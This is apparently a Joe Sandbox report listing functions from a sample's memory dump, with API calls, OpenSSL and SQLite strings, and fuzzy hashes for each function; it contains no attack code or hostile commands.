__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?), ref: 1004B406

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __acrt_iob_func
String ID:
API String ID: 711238415-0
Opcode ID: fd9aaac28ce518ead6549a1a95cb99167883289357652de4c67dcff9692b87a5
Instruction ID: c820cc00232c978e98983703baf54e6c50e7f61bfad6c290a0953c799b043644
Opcode Fuzzy Hash: fd9aaac28ce518ead6549a1a95cb99167883289357652de4c67dcff9692b87a5
Instruction Fuzzy Hash: 37415975900609EFDF04DFA4EC4AB9D77B5EF08315F2040A4F905E61E2DB71AA54AB18

Function 10206FE0 Relevance: 10.8, APIs: 4, Strings: 3, Instructions: 316COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,000000A0,102A6A0F,102A69B8,?,00000000), ref: 1020703E
memset.VCRUNTIME140(?,00000000,0000004C,?,00000000,000000A0,102A6A0F,102A69B8,?,00000000), ref: 1020704F

Strings

database schema is locked: %s, xrefs: 102071A7
out of memory, xrefs: 1020709A
statement too long, xrefs: 10207180

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: memset
String ID: database schema is locked: %s$out of memory$statement too long
API String ID: 2221118986-1046679716
Opcode ID: 6ad2646991bc94d948f1028e02c6c130789a83f25836f13fa7ec181b2daf33bc
Instruction ID: 40a8308654dc5ea5c569ec0ff33a2d61e660b161389bfeec79e7eefee0751976
Opcode Fuzzy Hash: 6ad2646991bc94d948f1028e02c6c130789a83f25836f13fa7ec181b2daf33bc
Instruction Fuzzy Hash: 59B1D075D083819BE361CF24C881B9BB7E5FF85344F15096CF8894B286E774E925CBA2

Function 10052E60 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 264COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 1005310F
__fprintf_l.LIBCMT ref: 10053185

Strings

evp_cipher_from_algorithm, xrefs: 1005305A, 100530BF, 100530F2, 10053168
crypto\evp\evp_enc.c, xrefs: 10052E72, 1005302D, 10053047, 10053064, 100530C9, 100530FC, 10053134, 1005314E, 10053172

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: crypto\evp\evp_enc.c$evp_cipher_from_algorithm
API String ID: 3906573944-4262838856
Opcode ID: aa6d29d87e4256ea993c970c405f00499c9d3290e33b3a36bcd285f2bfe44fda
Instruction ID: fbe262aea112e77360b1abf50af3d9c08eb6a5bb20ecb6dde34c0e40f76c501e
Opcode Fuzzy Hash: aa6d29d87e4256ea993c970c405f00499c9d3290e33b3a36bcd285f2bfe44fda
Instruction Fuzzy Hash: 74919D75A00B41EFD320CB28ED41B1AB7F0EF06759F10483DF686D6AA1E772A458DB15

Function 10149510 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 199COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 10149613

Strings

-----, xrefs: 10149593, 1014974F
PEM_write_bio, xrefs: 101495FA
crypto\pem\pem_lib.c, xrefs: 10149604, 10149626, 10149651
-----END , xrefs: 10149720
-----BEGIN , xrefs: 1014956F

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: -----$-----BEGIN $-----END $PEM_write_bio$crypto\pem\pem_lib.c
API String ID: 3906573944-4233432479
Opcode ID: 95700a9b4415bab4e581371f0591005b8c2b715b479342eb27ecc9cc04e59308
Instruction ID: 91ae827d826b927c7a71474ecce8268a3c89d04307dd49de1cf48c05220603b2
Opcode Fuzzy Hash: 95700a9b4415bab4e581371f0591005b8c2b715b479342eb27ecc9cc04e59308
Instruction Fuzzy Hash: E6511A759043026FC701CE14DD82B5F779EEFC4254F26092DF989DB212EB29F90987A6

Function 10068520 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 178COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 10068552
__fprintf_l.LIBCMT ref: 1006859C

Strings

crypto\bio\bio_lib.c, xrefs: 10068540, 1006858C, 1006860B, 100686E0
BIO_gets, xrefs: 10068536, 10068582, 10068601, 100686D6

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: BIO_gets$crypto\bio\bio_lib.c
API String ID: 3906573944-3999141636
Opcode ID: 20f320d969485bd953ab29a4f746496c45da8e9c6cd14d1994ff6a588ce6b752
Instruction ID: 87b7eeaaf9d3b9ac8a7047214a280a44e6b684908de6c32143ad667dc6ebfdfe
Opcode Fuzzy Hash: 20f320d969485bd953ab29a4f746496c45da8e9c6cd14d1994ff6a588ce6b752
Instruction Fuzzy Hash: F05116B07447017AE220D529EC47F5B32D9DF81B60F254708F679AA2C1EBA4FE448766

Function 1007D190 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 164COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 1007D358
__fprintf_l.LIBCMT ref: 1007D395

Strings

inner_ossl_decoder_fetch, xrefs: 1007D315, 1007D378
crypto\encode_decode\decoder_meth.c, xrefs: 1007D31F, 1007D382
%s, Name (%s : %d), Properties (%s), xrefs: 1007D350
<null>, xrefs: 1007D330, 1007D33E, 1007D343

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: %s, Name (%s : %d), Properties (%s)$<null>$crypto\encode_decode\decoder_meth.c$inner_ossl_decoder_fetch
API String ID: 3906573944-2948752331
Opcode ID: 520999b6ad082cd74ecfdd921fb3dbeb654f4126c83b730204e1a5c76d51889c
Instruction ID: 08aa552143023f5e3544e3f0c6cbdc3717d4bde0e42f434c0c4e5266469d45c5
Opcode Fuzzy Hash: 520999b6ad082cd74ecfdd921fb3dbeb654f4126c83b730204e1a5c76d51889c
Instruction Fuzzy Hash: 4951E276904340AFC700EF109C01B5B7BF8FF84780F44852DFD8866212E77AEA118B9A

Function 1014A8A0 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 142COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 1014A918

Strings

crypto\evp\evp_pkey.c, xrefs: 1014A906, 1014A968, 1014A9DA, 1014A9F9
TYPE=%s, xrefs: 1014A977
evp_pkcs82pkey_legacy, xrefs: 1014A8FF, 1014A961, 1014A9D3, 1014A9F2

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: TYPE=%s$crypto\evp\evp_pkey.c$evp_pkcs82pkey_legacy
API String ID: 3906573944-4053707743
Opcode ID: 2f4250238ceaee4aac06f7745d9c96f15559fee5df7d99c1a87b6a22f8e3b232
Instruction ID: a64e69e39290f022b87c756eaf0d9c537947f7113707f09a81475fd9dcf23e74
Opcode Fuzzy Hash: 2f4250238ceaee4aac06f7745d9c96f15559fee5df7d99c1a87b6a22f8e3b232
Instruction Fuzzy Hash: 65414A3A7417046BD100E764AC43F9F7388EF89B54F820925F64CDA182EF1EB418C6A7

Function 100832D0 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 140COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 1008346F

Part of subcall function 10067370: AcquireSRWLockExclusive.KERNEL32(?,?,1007ABE6,?,1006F40D,?,?,?,?,?,?,1006B9F8,00040000,00000000,00000000), ref: 10067376

__fprintf_l.LIBCMT ref: 1008336E
__fprintf_l.LIBCMT ref: 10083400

Strings

ossl_crypto_get_ex_new_index_ex, xrefs: 10083351, 100833E3
get_and_lock, xrefs: 10083455
crypto\ex_data.c, xrefs: 1008335B, 1008338C, 100833ED, 1008340A, 1008345C

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l$AcquireExclusiveLock
String ID: crypto\ex_data.c$get_and_lock$ossl_crypto_get_ex_new_index_ex
API String ID: 1653626913-409646806
Opcode ID: 3a761fa95051c4aa94c588d807d73480722185b60b42efde317039cb72009d22
Instruction ID: 3613828a6870ee0461130a6bdeef5cf81c8ad7117cbcd1d1515698d9fd961101
Opcode Fuzzy Hash: 3a761fa95051c4aa94c588d807d73480722185b60b42efde317039cb72009d22
Instruction Fuzzy Hash: 084129B9A4030177D650EF68AC42F2677D4FF41750F104A65F9C8A6393FB22BA24D752

Function 10057480 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 137threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 100574AF
memset.VCRUNTIME140(?,00000000), ref: 10057501

Strings

crypto\err\err_prn.c, xrefs: 100575B2
:%s:%d:%s, xrefs: 1005759E
<null>, xrefs: 10057528, 10057536
%s:, xrefs: 10057537

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: CurrentThreadmemset
String ID: %s:$:%s:%d:%s$<null>$crypto\err\err_prn.c
API String ID: 3657683302-1315321549
Opcode ID: c72d75a054df8b0eb5b76c65b20053d12da740a1ea2688ec426e8093d28300ec
Instruction ID: 3ca688cc038ca2ff2f5512c5c11d23636e6d071cc0cf5bbd89357c8675c9129b
Opcode Fuzzy Hash: c72d75a054df8b0eb5b76c65b20053d12da740a1ea2688ec426e8093d28300ec
Instruction Fuzzy Hash: 01416E76908345ABC311CFA4DC45FDBBBECEF89344F400929F58993102EB75E6588BA6

Function 10051F00 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 119COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 10051F4A
__fprintf_l.LIBCMT ref: 10051F7F
__fprintf_l.LIBCMT ref: 1005205B

Strings

crypto\evp\evp_enc.c, xrefs: 10051F37, 10051F6C, 10052003, 10052048
EVP_EncryptUpdate, xrefs: 10051F2D, 10051F62, 10051FF9, 1005202D, 1005203E

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: EVP_EncryptUpdate$crypto\evp\evp_enc.c
API String ID: 3906573944-473268691
Opcode ID: 1103bb3989cc781fd223e7f9b30445747915999e3e135dd86b5faca62c9ea0e3
Instruction ID: b56c677d0bfdc7d16f5255b694816d734f20fa6584f86c5d228fc28bf940c392
Opcode Fuzzy Hash: 1103bb3989cc781fd223e7f9b30445747915999e3e135dd86b5faca62c9ea0e3
Instruction Fuzzy Hash: 96312436644301BEE200EA64FC46F9F76D1FF81B14F110869F688A90C3DB72A85ED266

Function 10052990 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 111COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 100529CF
__fprintf_l.LIBCMT ref: 10052A03
__fprintf_l.LIBCMT ref: 10052ADE

Strings

crypto\evp\evp_enc.c, xrefs: 100529BC, 100529F0, 10052A9C, 10052ACB
EVP_EncryptUpdate, xrefs: 100529B2, 100529E6, 10052A7C, 10052A92, 10052AC1

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: EVP_EncryptUpdate$crypto\evp\evp_enc.c
API String ID: 3906573944-473268691
Opcode ID: 68ef3965aad738604dceb21fddf23aa833bcea995c1093974e8ffab140906a25
Instruction ID: 0fcddcf1bce309afaebcb2ad50996d9e75f291ec44e1b966dcb48d1a9fed5d60
Opcode Fuzzy Hash: 68ef3965aad738604dceb21fddf23aa833bcea995c1093974e8ffab140906a25
Instruction Fuzzy Hash: B1312C36244301BFE210EA64BC43F9B76D1FF81B14F110958F689A91C3DB71A959D297

Function 1008E690 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 89COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 1008E6EB
__fprintf_l.LIBCMT ref: 1008EBE3
__fprintf_l.LIBCMT ref: 1008F00B

Strings

asn1_item_embed_d2i, xrefs: 1008E6CE, 1008E72A, 1008EFEE
Type=, xrefs: 1008EBEE
crypto\asn1\tasn_dec.c, xrefs: 1008E6D8, 1008E734, 1008EFF8

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: Type=$asn1_item_embed_d2i$crypto\asn1\tasn_dec.c
API String ID: 3906573944-2516943257
Opcode ID: d3dec936bea7299ffaf8bd71bc511cd976e281166a00db1c29658b3c8c1a764b
Instruction ID: f7a751ba6c58265eaf288019c856c03fb5c3f97ece19319845019b82f12d1a6c
Opcode Fuzzy Hash: d3dec936bea7299ffaf8bd71bc511cd976e281166a00db1c29658b3c8c1a764b
Instruction Fuzzy Hash: A5212F79B483517BD200DBA5AC43F5BB3D0FB85740F900A16FE48EA182EBB1F8949657

Function 1007B600 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 86COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 1008314A
__fprintf_l.LIBCMT ref: 100831BD
__fprintf_l.LIBCMT ref: 100831ED

Strings

CRYPTO_set_ex_data, xrefs: 1008312D, 100831A0, 100831D0
X, xrefs: 1007B600
crypto\ex_data.c, xrefs: 10083137, 100831AA, 100831DA

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: CRYPTO_set_ex_data$X$crypto\ex_data.c
API String ID: 3906573944-765954296
Opcode ID: a659b647f0424b93a7aaa9b38f975e9ed241d8e1d99fd62ada73306ccd7e4828
Instruction ID: ef4dde26052763833c045257018984e41d220934455be988a82a7aee9642a03c
Opcode Fuzzy Hash: a659b647f0424b93a7aaa9b38f975e9ed241d8e1d99fd62ada73306ccd7e4828
Instruction Fuzzy Hash: B9213036B8034136DA10F668BC47F5B7694FBC0F50F148921FA8CEA193E610F92461A6

Function 10272B10 Relevance: 10.6, APIs: 7, Instructions: 86sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 10252FC0: QueryPerformanceCounter.KERNEL32(?,?,?,?,?), ref: 10252FD3
Part of subcall function 10252FC0: __alldvrm.LIBCMT ref: 10252FED
Part of subcall function 10252FC0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 10253014

Part of subcall function 10271E80: MultiByteToWideChar.KERNEL32(0000FDE9,00000008,?,000000FF,00000000,00000000,?,00000000,?,10272B32,?,00000000,?,00000000,?,?), ref: 10271E99
Part of subcall function 10271E80: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 10271EA9
Part of subcall function 10271E80: MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000), ref: 10271EC3
Part of subcall function 10271E80: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 10271ECE

MoveFileExW.KERNEL32(00000000,00000000,00000001,00000000,?,?), ref: 10272B4C
Sleep.KERNEL32(00000001), ref: 10272B99
MoveFileExW.KERNEL32(00000000,00000000,00000001), ref: 10272B9F
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 10272BAA
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 10272BB7

Part of subcall function 10252FC0: GetTickCount.KERNEL32 ref: 10253031

free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 10272BCE
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 10272BDB

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: free$ByteCharFileMoveMultiWide$CountCounterPerformanceQuerySleepTickUnothrow_t@std@@@__alldvrm__ehfuncinfo$??2@malloc
String ID:
API String ID: 259018025-0
Opcode ID: 1ef27942b9ce69808e77bcb26196248094b5e1f89cd87380def62d7c9312d298
Instruction ID: f606998a173c7a52d9b22e478ff2eac65e6b1f2a49ed237ce79e8d5ca64aa29c
Opcode Fuzzy Hash: 1ef27942b9ce69808e77bcb26196248094b5e1f89cd87380def62d7c9312d298
Instruction Fuzzy Hash: 17216A35E0131167E6115B349C82BBF7328EFE7698F10A124FD4451101FE36B6FD46A6

Function 10058E60 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 79COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 10058EA3
__fprintf_l.LIBCMT ref: 10058EE9
__fprintf_l.LIBCMT ref: 10058F44

Strings

get_string_ptr_internal, xrefs: 10058F2F
crypto\params.c, xrefs: 10058E90, 10058ED6, 10058F35
get_ptr_internal, xrefs: 10058E86, 10058ECC

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: crypto\params.c$get_ptr_internal$get_string_ptr_internal
API String ID: 3906573944-1953644068
Opcode ID: b8bd57c3a4df0292b79a28aa0c05f3f70d9ac797858fd19e1413d45ed757cb06
Instruction ID: 444516513789971d96fdeef4457da2d1ca49257f34b54e8db0050a0020152893
Opcode Fuzzy Hash: b8bd57c3a4df0292b79a28aa0c05f3f70d9ac797858fd19e1413d45ed757cb06
Instruction Fuzzy Hash: FC212B3AA403119FD220E668EC43B5A3291EF80B10F000035FE8CBB282DB25B949DB56

Function 101489E0 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 67COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140(?,?,00000400,00000000,100B6977,?,00000400,00000000,?,?,?,?,00000000,?,100A6AB0), ref: 10148A08
__fprintf_l.LIBCMT ref: 10148A62
memset.VCRUNTIME140(00000000,00000000,?,00000009,0000006D,00000000,crypto\pem\pem_lib.c,0000003E,PEM_def_callback,100B6977,?,00000400,00000000,?), ref: 10148A6E

Strings

PEM_def_callback, xrefs: 10148A4B
crypto\pem\pem_lib.c, xrefs: 10148A52
Enter PEM pass phrase:, xrefs: 10148A1F, 10148A2E

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_lmemmovememset
String ID: Enter PEM pass phrase:$PEM_def_callback$crypto\pem\pem_lib.c
API String ID: 2147164770-1215669008
Opcode ID: 6777ecfd209fb2f805cc2d4e1c914ddfd88150a4708046fd41d8bbd38326f9b1
Instruction ID: df5199a8b9511304b21f99115d616ab8bc8f5a54b4fb5c9a866ebb65d84375ba
Opcode Fuzzy Hash: 6777ecfd209fb2f805cc2d4e1c914ddfd88150a4708046fd41d8bbd38326f9b1
Instruction Fuzzy Hash: 841136726042126BD6149A38AD02FAF77D9EF85690F154A58FDD8E3080EB15EC0587A2

Function 10272060 Relevance: 10.6, APIs: 7, Instructions: 65COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000008,00000000,000000FF,00000000,00000000,?,?,00000017,00000000,10272D88,00000000,00000501,?), ref: 1027207C
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 10272090
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000000,00000000), ref: 102720A9
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 102720B4
_wopen.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000000,00000017,?,00000017,00000000,10272D88,00000000,00000501,?), ref: 102720D4
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,00000000,00000000,00000017,?,00000017,00000000,10272D88,00000000,00000501,?), ref: 102720DC
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,00000017,00000000,10272D88,00000000,00000501,?), ref: 102720EA

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: ByteCharMultiWidefree$_errno_wopenmalloc
String ID:
API String ID: 3845613331-0
Opcode ID: 82cb8d9858fcf96dbe2b3a0090bbc126697cf6a918a081b317cd7a5d3713f2bb
Instruction ID: f1922477590dbc952a7fb853471d269197294c73dbaf0e96646ecc894b69833b
Opcode Fuzzy Hash: 82cb8d9858fcf96dbe2b3a0090bbc126697cf6a918a081b317cd7a5d3713f2bb
Instruction Fuzzy Hash: 9A012B356042167BD7206B6A4C48E67769CDBE2BF1F650225FC24E3690EE709C14C572

Function 101A84D0 Relevance: 9.2, APIs: 1, Strings: 5, Instructions: 161COMMON

Download Yara Rule

APIs

